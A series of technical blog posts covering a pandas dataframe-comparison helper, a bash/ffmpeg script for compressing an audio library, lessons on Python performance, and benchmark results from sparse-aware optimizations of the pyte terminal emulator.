...     expected_g = expected_df.groupby(group_by, dropna=False)
...
...     obtained_group_names = {key for key, item in obtained_g}
...     expected_group_names = {key for key, item in expected_g}
...
...     common_group_names = obtained_group_names & expected_group_names
...     unexpected_group_names = obtained_group_names - expected_group_names
...     missing_group_names = expected_group_names - obtained_group_names
...
...     # Check if we have unexpected groups or missing groups.
...     # These are groups that cannot be compared with any other row
...     # in the opposite dataframes and therefore they are straight
...     # differences by definition
...     for name in sorted(unexpected_group_names):
...         ob = pd.DataFrame(obtained_g.get_group(name))
...         if sort_by:
...             ob.sort_values(sort_by, inplace=True)
...
...         ob["DF"] = "obtained"
...
...         msg = f"Unexpected (not expected) group {name!r}\n\n{ob.to_string(**to_string_kwargs)}"
...         diffs.append(msg)
...
...     for name in sorted(missing_group_names):
...         ex = pd.DataFrame(expected_g.get_group(name))
...         if sort_by:
...             ex.sort_values(sort_by, inplace=True)
...
...         ex["DF"] = "expected"
...
...         msg = f"Missing (not obtained) group {name!r}\n\n{ex.to_string(**to_string_kwargs)}"
...         diffs.append(msg)
...
...     # Compare group by group, sorting them if sort_by is given.
...     for name in sorted(common_group_names):
...         ob = pd.DataFrame(obtained_g.get_group(name))
...         ex = pd.DataFrame(expected_g.get_group(name))
...
...         if sort_by:
...             ob.sort_values(sort_by, inplace=True)
...             ex.sort_values(sort_by, inplace=True)
...
...         ob.reset_index(drop=True, inplace=True)
...         ex.reset_index(drop=True, inplace=True)
...
...         try:
...             assert_frame_equal(ob, ex, check_exact=check_exact, rtol=rtol, atol=atol, check_like=True, check_dtype=False)
...         except Exception as err:
...             ob["DF"] = "obtained"
...             ex["DF"] = "expected"
...
...             merged = pd.concat([ob, ex]).sort_index()
...
...             if singleton_group:
...                 msg = f"{err}"
...             else:
...                 msg = f"For group {name!r}: {err}"
...
...             msg = f"{msg}\n\n{merged.to_string(**to_string_kwargs)}"
...             diffs.append(msg)
...
...     if diffs:
...         msg = f"Found {len(diffs)} difference{'s' if len(diffs) > 1 else ''}.\nDetails follows:\n\n"
...         raise AssertionError(msg + "\n\n".join(diffs))

Examples

Let’s begin with the same dataframes as before:

>>> expected_df = pd.DataFrame({
...     'name':    ['alice',  'bob',   'alice', 'charlie'],
...     'subject': [ 'math', 'math', 'physics',    'math'],
...     'grade':   [      5,      4,         4,         5],
... })

>>> obtained_df = pd.DataFrame({
...     'name':    [  'alice',   'bob',  'alice', 'charlie'],
...     'subject': ['physics',  'math',   'math',    'math'],
...     'grade':   [        4,       4,        3,         2],
... })

Calling assert_df_equal without any group by or sort by does not gives you much. As before a straight call to assert_frame_equal says that there is a difference on "subject" when we already know that it is not.

>>> assert_df_equal(obtained_df, expected_df)
<...>
AssertionError: Found 1 difference.
Details follows:
<...>
DataFrame.iloc[:, 1] (column name="subject") are different
<...>
DataFrame.iloc[:, 1] (column name="subject") values are different (50.0 %)
[index]: [0, 1, 2, 3]
[left]:  [physics, math, math, math]
[right]: [math, math, physics, math]
<...>
      name  subject  grade        DF
0    alice  physics      4  obtained
0    alice     math      5  expected
1      bob     math      4  obtained
1      bob     math      4  expected
2    alice     math      3  obtained
2    alice  physics      4  expected
3  charlie     math      2  obtained
3  charlie     math      5  expected

Sorting quickly makes the real difference visible:

>>> assert_df_equal(obtained_df, expected_df, sort_by=['name', 'subject'])
<...>
AssertionError: Found 1 difference.
Details follows:
<...>
DataFrame.iloc[:, 2] (column name="grade") are different
<...>
DataFrame.iloc[:, 2] (column name="grade") values are different (50.0 %)
[index]: [0, 1, 2, 3]
[left]:  [3, 4, 4, 2]
[right]: [5, 4, 4, 5]
<...>
      name  subject  grade        DF
0    alice     math      3  obtained
0    alice     math      5  expected
1    alice  physics      4  obtained
1    alice  physics      4  expected
2      bob     math      4  obtained
2      bob     math      4  expected
3  charlie     math      2  obtained
3  charlie     math      5  expected

But the dataframes are too large and it is not easy to see exactly where is the problem.

Moreover adding an extra row breaks the comparison.

>>> obtained_df.loc[len(obtained_df.index)] = ["alice", "algebra", 3]
>>> assert_df_equal(obtained_df, expected_df, sort_by=['name', 'subject'])
<...>
AssertionError: Found 1 difference.
Details follows:
<...>
DataFrame are different
<...>
DataFrame shape mismatch
[left]:  (5, 3)
[right]: (4, 3)
<...>

group_by to rescue!

Partitioning the dataframes in smaller groups makes much easier the debugging and much more robust against shape mismatches

>>> assert_df_equal(obtained_df, expected_df, group_by=['name', 'subject'])
Traceback (most recent call last):
<...>
AssertionError: Found 3 differences.
Details follows:
<...>
Unexpected (not expected) group ('alice', 'algebra')
<...>
    name  subject  grade        DF
4  alice  algebra      3  obtained
<...>
For group ('alice', 'math'): DataFrame.iloc[:, 2] (column name="grade") are different
<...>
DataFrame.iloc[:, 2] (column name="grade") values are different (100.0 %)
[index]: [0]
[left]:  [3]
[right]: [5]
<...>
    name subject  grade        DF
0  alice    math      3  obtained
0  alice    math      5  expected
<...>
For group ('charlie', 'math'): DataFrame.iloc[:, 2] (column name="grade") are different
<...>
DataFrame.iloc[:, 2] (column name="grade") values are different (100.0 %)
[index]: [0]
[left]:  [2]
[right]: [5]
<...>
      name subject  grade        DF
0  charlie    math      2  obtained
0  charlie    math      5  expected

It looks complicated but now we know exactly where are the differences:

We have a unexpected row: alice algebra 3
For ('alice', 'math') the obtained grade was 3 but expected 5
For ('charlie', 'math') the obtained grade was 2 but expected 5

Compress Old Audio Files

2022-08-27T00:00:00+00:00

We the pass of the years one keeps storing files, music in my case.

A few thousands.

But technology improved in this sense and new encoders exist that can compress (loosely) the same audio with the same quality but at a much smaller bit rate, and therefore, resulting in much smaller files.

Quick and dirty script follows!

Encoders & containers

The current documentation of FFmpeg gives a ranking of the encoders available, from best (left) to not so good (right):

libopus > libvorbis >= libfdk_aac > libmp3lame >= eac3/ac3 > aac > libtwolame > vorbis > mp2 > wmav2/wmav1

So the idea is to re-encode an arbitrary audio file to libopus:

ffmpeg -i $fn -acodec libopus $name

For the output file ffmpeg can save the audio into a container. Different container files exists (.m4a, .mp4, .ogg, .flv) but today’s internet stream platforms use .webm.

⊕ You could write directly .opus, the raw encoded audio, without a container and get even smaller files.

I’ll go with that.

Bit rates

One of the things of better encoders is that we can use a lower bit rate without losing quality, as long as we are in the expected numbers for which the encoder was designed.

For libopus we need bit rates of 32kbps or larger.

Doing a quick, totally subjective test, ~50k is the smallest bit rate that maintains the same quality of my files (which range between 96k and 128k MP3).

ffmpeg -i $fn -acodec libopus -b:a 50k $name.webm

Final tweak, I have some videos that I only care their audio. We can instruct ffmpeg to get those with the “no video” option (-nv).

Scripting

The compress_audio.sh script follows:

#!/bin/bash

set -euo pipefail
shopt -s nocaseglob

if [ "$#" != "1" ]; then
    echo "Usage $0 <target dir>"
    exit 1
fi

cd "$1"
echo  "Processing $(pwd)..."

IFS=$'\n'
for fn in $(ls *.mp3 *.ogg *.wav *.wma *.m4a *.avi *.opus); do
    name=$(basename -- "$fn")
    ext="${name##*.}"
    name="${name%.*}"

    # Take the input (-i) file, ignore any video stream (-vn)
    # and change its audio codec (-acodec) tto the codec libopus
    # and change its audio bitrate (-b:a) to 50k
    # and save it under the same name but with .webm extension
    ffmpeg -i "$fn" -vn -acodec libopus  -b:a 50k "$name.webm"

    rm "$fn"
done

The script processes the files inside a folder. Any error and the processing will stop and fail so the input file will not be deleted (rm "$fn").

The script does not work recursively, instead I use find.

find . -type d -exec compress_audio.sh {} \;

This is on purpose: if compress_audio.sh fails, that folder is skipped (no file is further processed or removed) but the whole recursive scan keeps on (find will not stop on an error).

Results

The ~3k audio files with a total size of ~20GB was processed in ~2hs with a final total size of ~7GB, a ~65% reduction. Not bad.

That only counted for audio files. Extracting the audio from videos and deleting the videos additionally saved a few hundred of megabytes more.

Lessons Learnt Optimizing Pyte

2022-07-17T00:00:00+00:00

Few thoughts about Python code optimization and benchmarking for pyte and summarized here.

Optimize Python code is not like optimize C code

The mental model for optimize of Python code is not the same for optimize C/C++/Rust code.

⊕ Actually any modern compiler will do this for you and if possible, it will replace the bit hacks by much faster specific instructions for you micro.

In low level languages a conditional can be replaced with as faster combination of bit hacks.

A classic example is find the minimum two values:

int x = 1, y = 2;

int minimum = (x < y) ? x : y;   // slow, branch version

int minimum = y ^ ((x ^ y) & -(x < y)); // fast, branchless version

Doing this in Python is insanely slow:

: %%timeit x, y = 1, 2
: x if x < y else y

20.3 ns ± 0.917 ns per loop (mean ± std. dev. of 7 runs, 100,000,000
loops each)

: %%timeit x, y = 1, 2
: y ^ ((x ^ y) & -(x < y))

81.4 ns ± 4 ns per loop (mean ± std. dev. of 7 runs, 10,000,000 loops
each)

: %%timeit x, y = 1, 2
: min(x, y)

70.5 ns ± 0.88 ns per loop (mean ± std. dev. of 7 runs, 10,000,000 loops
each)

⊕ A just in time compiler may change this but for now, CPython does not implements it. PyPy may yield different results.

The bit hack is insanely slow when compared with the branch version: it is because the bit hack involves many more Python instructions that need to be interpreted by the VM.

The call to min is not much faster either. While this requires less code and the function it is implemented in C, the call to a function is expensive and (for CPython 3.9), the function is not inline’d.

Also complex code may not be too slow if they are coded entirely in C.

For example, Rust developer could think that a simple x = y + 2 is way faster than a lookup on a hash-based dictionary/map. It is obvious that the addition can be done in a single instruction and the lookup will take much more.

But in Python the things are not so clear:

: %%timeit x, y = 1, 2
: x = y + 2

16.1 ns ± 0.321 ns per loop (mean ± std. dev. of 7 runs, 100,000,000
loops each)

: %%timeit d = {1: 2}
: x = d[1]

19.3 ns ± 0.584 ns per loop (mean ± std. dev. of 7 runs, 10,000,000
loops each

Loops

Doing a loop in Python is okay but doing it in C is much faster:

: %%timeit d = {x: x for x in range(10000)}; keys = list(d)
: for k in keys:
:    d.get(k)

292 µs ± 6.35 µs per loop (mean ± std. dev. of 7 runs, 1,000 loops each)

: %%timeit d = {x: x for x in range(10000)}; keys = list(d)
: list(map(d.get, keys))

179 µs ± 5 µs per loop (mean ± std. dev. of 7 runs, 10,000 loops each)

Attribute/methods lookups

In C, foo.bar.baz is typically resolved by the compiler as an offset from the base address of foo at compile time. Not big deal.

But due the dynamic nature of Python, foo.bar.baz not only needs to be resolved at runtime but every single time because the objects may change and point to another.

When a lookup is done in a loop, prefetching the attribute or method before the loop saves precious time.

: %%timeit d = {x: x for x in range(10000)}; keys = list(d)
: for k in keys:
:    d.get(k)

301 µs ± 6.56 µs per loop (mean ± std. dev. of 7 runs, 1,000 loops each)

: %%timeit d = {x: x for x in range(10000)}; keys = list(d); get = d.get
: for k in keys:
:    get(k)

286 µs ± 10.8 µs per loop (mean ± std. dev. of 7 runs, 1,000 loops each)

It may not seem like much but in the example above I prefetched a single method; in complex loops prefetching more things will speed it up.

Remove asserts

Assertions are great for check invariants of the code: things that must be guaranteed to make any sense of the programs.

⊕ Well, this is true for C/C++ but not strictly true for Python. An assert in Python raises an AssertionError that can be captured like any other exception.

You may think that nobody would want to capture an AssertionError but, sorry to say, this exception inherits from Exception and it is quite common to capture those.

If an invariants ends up to be false, an assert on that will fail leading the program to its termination.

It is like a self-destruction mechanism.

An indeed if something really bad happen to the program’s state, not further action may be safe to execute. It is better to die as quickly as possible and avoid doing more damage.

An assert requires at least a check; complex invariants will require complex asserts and this leads to spend more time on that..

In C and similar the asserts can be removed with a compilation flag: you can have them enabled during testing but disabled on production.

void foo(() {
    assert(expensive());
    ...
}

When disabled, neither the assert nor the expensive() function are called.

Python with the -O flag has something similar: the asserts are not executed but the asserts’ arguments do.

def foo():
    assert expensive()

The expensive() is executed with or without -O – a pointless optimization IMHO.

An easy win for optimization is just to remove the asserts.

Ensure your benchmark suite is valid

When doing a benchmark the first thing to validate is not if it ran faster or slower. The first thing to validate is that the output of your benchmark makes sense.

In pyte a benchmark test consists in a input file that it is passed through pyte.Stream that turns it into actions on the pyte.Screen.

It is important then that this processing makes sense before using it for benchmarking.

Guess what…

I found that the test suite was incorrectly implemented. The input files are binary files and pyte.Stream opens them as text files (UTF8).

This mismatch made the return line \r to be missed from the stream.

This is not how real code would use pyte so the benchmark suite was invalid.

The fix was to use pyte.ByteStream but I had to pay the price to run all the tests again (hours lost).

Have a parallel project for benchmark

Trying different things may make you repo a little messy. For running benchmark it is better to have a second repo and use the first as upstream.

$ ls proj/pyte                            # main project
$ git clone proj/pyte proj/benchmark_pyte     # second project

Then, only what it is committed and update on benchmark_pyte will be used for the benchmark.

Plan the benchmark execution

When a full benchmark execution takes hours, you need to know what and when you really need to run and run only that.

Save your time.

Sparse Aware Optimizations for Terminal Emulator Pyte

2022-07-15T00:00:00+00:00

byexample is a tool that reads snippets of code from your documentation, executes them and compares the obtained results with the expected ones, from your docs too.

If a mismatch happen we say that the example in your documentation failed that could mean one of two things:

your code (the snippet) does not do what you expect so it has a bug
or the code does exactly what it is supposed but you forgot to update your doc.

Very useful for testing and keep your docs in sync!

But byexample does not really execute anything by itself. Having to code an interpreter for Ruby, Java, C++ and others would be insane.

Instead, byexample sends the snippets of code toa standard interpreter like IRB for Ruby or cling for C++.

Interpreting the output from they is not always trivial.

When a interpreter prints to the terminal, it may write special escape/control sequences, invisible to human eyes, but interpreted by the terminal.

That’s how IRB can tell your terminal to output something with reds and blues colors.

⊕ That’s how byexample’s +term=ansi is implemented.

byexample has no idea of what the hell those control sequences are and relays on a terminal emulator: pyte

byexample sends the snippets to the correct interpreter and its output feeds pyte.Screen. It is the plain text from the emulated terminal what byexample uses to compare with the expected output from the example.

But pyte may take seconds to process a single output so byexample never enabled it by default.

This post describes the why and how of the optimizations contributed to pyte to go from seconds to microseconds.

Artifacts and artificial boundaries

Using an emulator like pyte saves us from interpreting the escape/control sequences, but introduces some unwanted artifacts in the output.

For example, considere the following snippet that prints a single line of "A". If you do this in your terminal you will see that the line spans multiple lines.

>>> print("A" * 170)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA

Why? It’s because your terminal has boundaries, a finite width in this case and lines longer than that are cut and continued on the next line.

This is super handy for a human but not for byexample.

Another artifact is the limit of lines in the terminal: if the interpreter outputs a lot of lines only the last will be visible “on the screen” and the rest will be lost.

>>> for i in range(30):
...     print(i)
22
23
24
25
26
27
28
29

Again, your terminal has a finite height so the same goes for the pyte emulator.

The hack

If the size of the emulated screen generates unwanted artifacts, the hack is simple: increase the size!

And pyte has no problem with that.

Well, actually, it has….

Bad news: it is super slow!

pyte implements a sparse buffer so technically it should not have problems when we increase the size of the screen.

Even if the geometry is of 2400 lines by 8000 columns, the performance of pyte should depend only on the amount of non-empty data in the screen.

Sadly, the algorithms for terminal emulation are not sparse aware and they do full scans.

To give you an example, if a line of 8000 columns has only 5 characters, only 5 characters are stored on memory (good) but displaying it iterates over the whole 8000 columns

>>> @property
>>> def display:
...     for y in range(self.lines):
...         for x in range(self.columns):
...             self.buffer[y][x]  # display the char

pyte runtime complexity runs quadratic with respect the size of the terminal and not linear with respect the real data stored within.

Moreover, the underlying implementation of buffer is a defaultdict.

While initially it may contain only the real characters and being very sparse, as soon you do a single full scan the buffer will contain all the entries possible of 2400x8000.

buffer will not be sparse but completely dense. And this of course means the memory also grows quadratic.

Make `pyte` really fast!

With 54 commits (more than 10% of the total commits that pyte 0.8.1 has), the pull request implements a lot of improvements.

The TL;DR post with the contributions and the results is posted somewhere else but here is a summary.

Sparse-aware scans

First, every time that pyte needs to iterate over non-empty lines or chars, use sparse aware iterations.

Instead of doing:

...     for y in range(self.lines):
...         line = self.buffer[y]
...         for x in range(self.columns):
...             line[x]  # do something

Do this:

...     non_empty_y = sorted(self.buffer)
...     for y in non_empty_y:
...         line = self.buffer[y]
...         non_empty_x = sorted(line)
...         for x in non_empty_x:
...             line[x]  # do something

Both buffer and line are dict with row indexes/column indexes as keys for each non-empty line/char respectively.

The full scan with the nested range is $s^2$ in terms of any possible slot in the buffer, empty or not.

In contrast, the sparse-aware variant has the cost of sorted ($n log(n)$) and the iteration ($n$) both in terms of the non-empty data.

When the buffer is sparse we expect $n ≪ s$ and the second code is way faster than the first.

If buffer is not sparse, both code are quadratic.

Sparsity

So it is critical to maintain the sparsity of the buffer, not only because it consumes less memory (less real entries in the dict) but because the runtime of other algorithms depend on that!

Now, in pyte 0.8.1, the buffer is a defaultdict so any read may potentially write an entry.

Consider the following index method that moves all the lines one row up so a line at coordinate y=8 will be moved to y=7:

def index():
    # [...]
    bottom, top = 0, self.lines-1
    for y in range(top, bottom):
        self.buffer[y] = self.buffer[y + 1]
    self.buffer.pop(bottom, None)

Simple, elegant but…. for each empty entry at y + 1, we will creating 2 real entries into the buffer: one for writing into index y and one for reading y + 1.

These are what I called false entries.

A single call to index will turn the buffer into a dense, full of false entries dict.

The solution is to replace the full scan for y in range(top, bottom) for one that that iterate only the non-empty entries (avoiding then reading empty entries):

def index():
    # [...]
    bottom, top = 0, self.lines-1
    non_empty_y = sorted(self.buffer)

    self.buffer.pop(top, None)

    to_move = non_empty_y[begin:end]
    for y in to_move:
        self.buffer[y-1] = self.buffer.pop(y)

The call to buffer.pop removes the entry and the buffer[y-1] = stores it back in the new index avoiding reading or writing any false entry.

Once all the algorithms are reimplemented, we must change buffer from a defaultdict to a dict to prevent any accidental false entry.

Binary searches

When resize is called and if the screen shrinks, all the lines of the screen are truncated to the new width.

def resize(self, lines, columns):
    # [...]
    if columns < self.columns:
        for line in self.buffer.values():
            for x in range(columns, self.columns):
                line.pop(x, None)
    # [...]

Popping out all the x entries that are greater than the new columns is correct but we can do it better.

You see, most of the entries in the line will not exist really and pop will have no effect on the line (except consuming time!).

With a binary search we can find in $log(n)$ the first non-empty x and delete from there.

def resize(self, lines, columns):
    # [...]
    if columns < self.columns:
        for line in self.buffer.values():
            non_empty_x = sorted(line)
            begin = bisect_left(non_empty_x, columns)
            for x in non_empty_x[begin:]:
                line.pop(x)
    # [...]

Technically this is still $O(n)$ but it should be iterate over lesser entries than the former 0.8.1 version.

The good old Python tricks

At least for 3.10, Python still does not cache any attribute lookup so a easy win is to it ourselves, specially with the lookup is in a for-loop:

def resize(self, lines, columns):
    # [...]
    buffer = self.buffer
    if columns < self.columns:
        for line in buffer.values():
            non_empty_x = sorted(line)
            pop - line.pop
            begin = bisect_left(non_empty_x, columns)
            for x in non_empty_x[begin:]:
                pop(x)
    # [...]

Now, we have an additional low-hanging fruit: the inner for-loop calls repetitively the same function over a sequence.

Does that ring any bells to you?

Replacing a loop with a map moves the loop into C and because dict.pop is in C too, it is even faster:

def resize(self, lines, columns):
    # [...]
    buffer = self.buffer
    if columns < self.columns:
        for line in buffer.values():
            non_empty_x = sorted(line)
            pop - line.pop
            begin = bisect_left(non_empty_x, columns)

            list(map(pop, non_empty_x[begin:]))
    # [...]

Don’t do what you don’t need

pyte tracks which lines were modified in a dirty set but byexample (and maybe other users) does not need it.

byexample renders the whole screen as a single string calling screen.display so it does not care what lines changed or not.

For the same reason emulating things like colores and styles is pointless.

As part of the optimizations now pyte can optionally disable those.

“faster”, but how much faster?

All the gory details are in the TL;DR post but here is a quick summary:

At minimum, a humble 2 times faster for small geometries but for large geometries the speed up goes up to 7 times faster and if the screen is tuned, up to 12 times.

An for screen.display, the speed up is insanely huge: 600000 times! But it has a more modest common case of 10 to 200 times faster.

Memory usage was also optimized from 1.10 and 50 times better.

Not everything was improved however: some test cases had a small regression and one had up to 5 times slower (boomers) but in general there was a lot of profit on the improvements.

TL;DR Screen Optimizations Results for Terminal Emulator Pyte

2022-07-14T00:00:00+00:00

This post describes to some level of detail all the performance boosts and speedups due the optimizations contributed to pyte and summarized here

For large geometries (240x800, 2400x8000), Screen.display runs orders of magnitud faster and consumes between 1.10 and 50.0 times less memory.

For smaller geometries the minimum improvement was of 2 times faster.

Stream.feed is now between 1.10 and 7.30 times faster and if Screen is tuned, the speedup is between 1.14 and 12.0.

For memory usage, Stream.feed is between 1.10 and 17.0 times lighter and up to 44.0 times lighter if Screen is tuned.

Screen.reset is between 1.10 and 1.50 slower but several cases improve if the Screen is tuned (but not all).

However there are a few regressions, most of them small but some up to 4 times.

At the moment of writing this post, the PR is still pending to review.

What is this PR about?

Optimization. My goal was to make pyte faster and lighter specially for large geometries (think in a screen of 240x800 or 2400x8000 size).

Context (background)

While pyte implements a sparse buffer, most of its algorithms are not aware and they don’t take advantage of that making the terminal emulation really slow and consuming a lot of memory.

Contributions

Upgrade pyperf
Extended the benchmark tests to test Screen.display, Screen.resize and Screen.reset under different geometries (24x80, 240x800, 2400x8000, 24x8000, 2400x80). With these the benchmark takes much more time (sorry!) but it gives a deeper view of how pyte works.
Fixed a bug in the benchmarks that used Stream instead of ByteStream. The use of the former led to an incorrect interpretation of the new lines; the use of ByteStream fixed that and it is aligned with the test_input_output.py tests.
Optimize Screen.display to work (approx) linearly with the input and not with the size of the screen (quadratic). Improved by a lot both for runtime and memory (specially for large geometries).
Implement Screen.compressed_display that works similar to Screen.display but it allows to “strip” empty space from the left or right and “filter” empty lines on top and bottom of the screen reducing time and memory.
Optimize Screen.draw with caching of attributes and methods (the same optimizations already present in Stream._parser_fsm).
Refactor out Char’s foreground, bold, blink (…) into a separated namedtuple CharStyle. When possible, reuse the same style for multiple characters reducing the memory usage at the expense of an additional lookup (instead of char.fg you have char.style.fg).
Make Char a mutable object allowing changes in the data and width fields to be in-place instead of creating a new Char object.
Sparse-aware algorithms for Screen.index and Screen.reverse_index that improved indirectly Screen.draw and Stream.feed.
Sparse-aware algorithms for Screen.resize
Sparse-aware algorithms for Screen.tabstop
Sparse-aware algorithms for ScreenHistory.prev_page and ScreenHistory.next_page.
Sparse-aware algorithms for Screen.insert_characters, Screen.delete_characters, Screen.insert_lines and Screen.delete_characters that improved the performance of “terminal aware” programs.
Statistics about Screen’s buffer and lines to have insight about the sparsity and usage of these elements. (The API is not not standard like DebugScreen).
Make the public attribute Screen.buffer return a BufferView. Retrieve of lines from it yield LineView instead of Line objects. This adds an overhead on user code but allows a separation between the public part and the internals. Iterate over LineView still yields Char objects as usual (to much high penalty otherwise).
Make the public Screen.history’s top and bottom queues return LineView and not Line objects
Make the private attribute Screen._buffer a dict and not a defaultdict. This prevent adding entries unintentionally that would make the buffer less sparse and therefore slow.
If the current cursor attributes (style) matches the default attributes of the screen, do not write explicit spaces on erase methods (Screen.erase_characters, Screen.erase_in_line and Screen.erase_in_display)
When disable_display_graphic is True prevent Screen.select_graphic_rendition to change the cursor attributes (style). If the cursor attrs don’t change, we can optimize the erase methods. The flag is False by default. but just remove the chars from the buffer. This makes speedup other algorithms and maintain high the sparsity (and consume less memory).
When track_dirty_lines is False use a NullSet for Screen.dirty attribute to not consume any memory and discard any element, disabling effectively the dirty functionality. This saves time and memory for large geometries. The flag is True by default.
Make Screen.margin always a Margin object so we can avoid checking if it is None or not.

Compatibility changes

The following are changes in the API that may break user code. A special care was taken to avoid this situation.

Char is not longer a namedtuple so things like _replace are gone. If necessary we could reimplement the API of namedtuple but I don’t think users will use.
Char is mutable but the user must not relay on this: changes to character will have undefined behaviour. The user must use always the API provided by Screen.
Char not longer has attributes for fg, bg, bold. Instead, it has a single read-only CharStyle. The Char class implements fg, bg, bold as properties to do the lookup to the style behind the scene. User code should not break then.
Screen.buffer now is a property that returns a BufferView with a similar API to a dictionary. It yields LineView objects instead of Line objects. These in turn yield Char objects (not views). User can still iterate over the lines and chars as if the buffer were a dense array and not a sparse array as it is really. Like any view, these are valid until the next modification of the screen. This change may break user code if it uses buffer in another way.
The queues top and bottom of ScreenHistory.history contain LineView and not Line objects. This may break user code.
Screen.margin is always a Margin object: the None value is not longer supported.

Results

High level results

For large geometries (240x800, 2400x8000), Screen.display runs orders of magnitud faster and consumes between 1.10 and 50.0 times less memory.

For smaller geometries the minimum improvement was of 2 times faster.

Stream.feed is now between 1.10 and 7.30 times faster and if Screen is tuned, the speedup is between 1.14 and 12.0.

However there is a regression for the mc.input test of up to 4 times slower.

For memory usage, Stream.feed is between 1.10 and 17.0 times lighter and up to 44.0 times lighter if Screen is tuned.

Screen.reset is between 1.10 and 1.50 slower but several cases improve if the Screen is tuned (but not all).

TL;DR - Numbers overview

The following is a overview of the numbers got. To make this post as short as possible, the some results were omitted (rows omitted are marked with :::).

Full benchmark results are listed below; people is encouraged to do their own benchmarks for cross validation.

`Screen.display`

Screen.display was optimized to generate large chunks of spaces very quickly.

For large geometries, this has an huge impact on the performance:

+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
+==========================================================+==========+=========================================+
| [screen_display 2400x8000] mc.input->Screen              | 6.69 sec | 9.95 us: 672459.98x faster              |
| [screen_display 2400x8000] mc.input->HistoryScreen       | 6.60 sec | 10.3 us: 638209.07x faster              |
| [screen_display 2400x8000] vi.input->HistoryScreen       | 6.80 sec | 132 us: 51648.56x faster                |
| [screen_display 2400x8000] vi.input->Screen              | 6.60 sec | 130 us: 50691.68x faster                |
    :::                 ::::                                    ::::         :::
| [screen_display 240x800] ls.input->HistoryScreen         | 70.1 ms  | 248 us: 283.21x faster                  |
| [screen_display 240x800] ls.input->Screen                | 69.1 ms  | 244 us: 282.76x faster                  |
| [screen_display 240x800] top.input->Screen               | 68.2 ms  | 249 us: 273.98x faster                  |
| [screen_display 240x800] top.input->HistoryScreen        | 67.3 ms  | 257 us: 261.64x faster                  |
    :::                 ::::                                    ::::         :::
| [screen_display 24x80] find-etc.input->HistoryScreen     | 670 us   | 101 us: 6.63x faster                    |
| [screen_display 24x80] find-etc.input->Screen            | 640 us   | 97.9 us: 6.54x faster                   |
| [screen_display 24x80] vi.input->HistoryScreen           | 606 us   | 115 us: 5.27x faster                    |
| [screen_display 24x80] vi.input->Screen                  | 584 us   | 117 us: 5.00x faster                    |
| [screen_display 24x80] cat-gpl3.input->Screen            | 605 us   | 189 us: 3.21x faster                    |
| [screen_display 24x80] cat-gpl3.input->HistoryScreen     | 605 us   | 195 us: 3.11x faster                    |
| [screen_display 24x80] ls.input->HistoryScreen           | 609 us   | 221 us: 2.75x faster                    |
| [screen_display 24x80] ls.input->Screen                  | 585 us   | 221 us: 2.65x faster                    |
| [screen_display 24x80] top.input->Screen                 | 567 us   | 244 us: 2.33x faster                    |
| [screen_display 24x80] top.input->HistoryScreen          | 580 us   | 251 us: 2.32x faster                    |
| [screen_display 24x80] htop.input->HistoryScreen         | 564 us   | 269 us: 2.10x faster                    |
| [screen_display 24x80] htop.input->Screen                | 559 us   | 273 us: 2.05x faster                    |

Screen.display takes advantage of the sparsity of the screen and therefore it was indirectly beneficed by the optimizations done across Screen to avoid filling it with false entries.

Screen.display it was also optimized on memory (tracemalloc) avoiding then append of each space character separately when they could be appended in a single chunk.

+--------------------------------------------------------------+-------------------+-----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+default-conf.tracemalloc |
+==============================================================+===================+=====================================================+
| [screen_display 2400x8000] ls.input->HistoryScreen           | 19.7 MB           | 408.1 kB: 49.43x faster                             |
| [screen_display 2400x8000] mc.input->HistoryScreen           | 19.7 MB           | 411.4 kB: 49.04x faster                             |
| [screen_display 2400x8000] mc.input->Screen                  | 19.7 MB           | 411.4 kB: 49.04x faster                             |
| [screen_display 2400x8000] ls.input->Screen                  | 19.7 MB           | 411.5 kB: 49.03x faster                             |
| [screen_display 2400x8000] vi.input->HistoryScreen           | 18.5 MB           | 404.7 kB: 46.84x faster                             |
| [screen_display 2400x8000] top.input->HistoryScreen          | 18.5 MB           | 408.3 kB: 46.43x faster                             |
| [screen_display 2400x8000] vi.input->Screen                  | 18.5 MB           | 408.5 kB: 46.40x faster                             |
| [screen_display 2400x8000] top.input->Screen                 | 18.5 MB           | 411.5 kB: 46.07x faster                             |
| [screen_display 2400x8000] htop.input->Screen                | 18.5 MB           | 1102.6 kB: 17.19x faster                            |
| [screen_display 2400x8000] htop.input->HistoryScreen         | 18.5 MB           | 1103.2 kB: 17.18x faster                            |
| [screen_display 2400x8000] cat-gpl3.input->HistoryScreen     | 19.5 MB           | 5392.6 kB: 3.70x faster                             |
| [screen_display 2400x8000] cat-gpl3.input->Screen            | 19.5 MB           | 5392.0 kB: 3.70x faster                             |
| [screen_display 240x800] mc.input->Screen                    | 513.2 kB          | 403.5 kB: 1.27x faster                              |
| [screen_display 240x800] ls.input->Screen                    | 517.0 kB          | 411.5 kB: 1.26x faster                              |
| [screen_display 240x800] ls.input->HistoryScreen             | 511.7 kB          | 408.1 kB: 1.25x faster                              |
| [screen_display 240x800] mc.input->HistoryScreen             | 510.4 kB          | 411.4 kB: 1.24x faster                              |
| [screen_display 2400x8000] find-etc.input->HistoryScreen     | 18.7 MB           | 16.6 MB: 1.12x faster                               |
| [screen_display 2400x8000] find-etc.input->Screen            | 18.7 MB           | 16.6 MB: 1.12x faster                               |

The only two regressions are:

| [screen_display 240x800] htop.input->HistoryScreen           | 408.7 kB          | 487.3 kB: 1.19x slower                              |
| [screen_display 240x800] htop.input->Screen                  | 405.8 kB          | 486.2 kB: 1.20x slower                              |

Not sure why this happen.

`Stream.feed`

stream.feed was not modified but its runtime depends on Screen’s performance.

For terminal programs that just write into then terminal, like cat-gpl3 and find-etc, stream.feed merely sends then input to Screen.draw for rendering.

The method Screen.draw was optimized to avoid the modification of the cursor internally and update it only at the exit. This saved a few lookups.

While not been frequently called, Screen.index was the next bottleneck for Screen.draw: it moves all the lines of the screen that it means that all the entries of the buffer are rewritten.

Screen.index and Screen.reverse_index were optimized to take advantage of the sparsity and to avoid adding false entries.

This resulted on a speedup across the tests:

+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
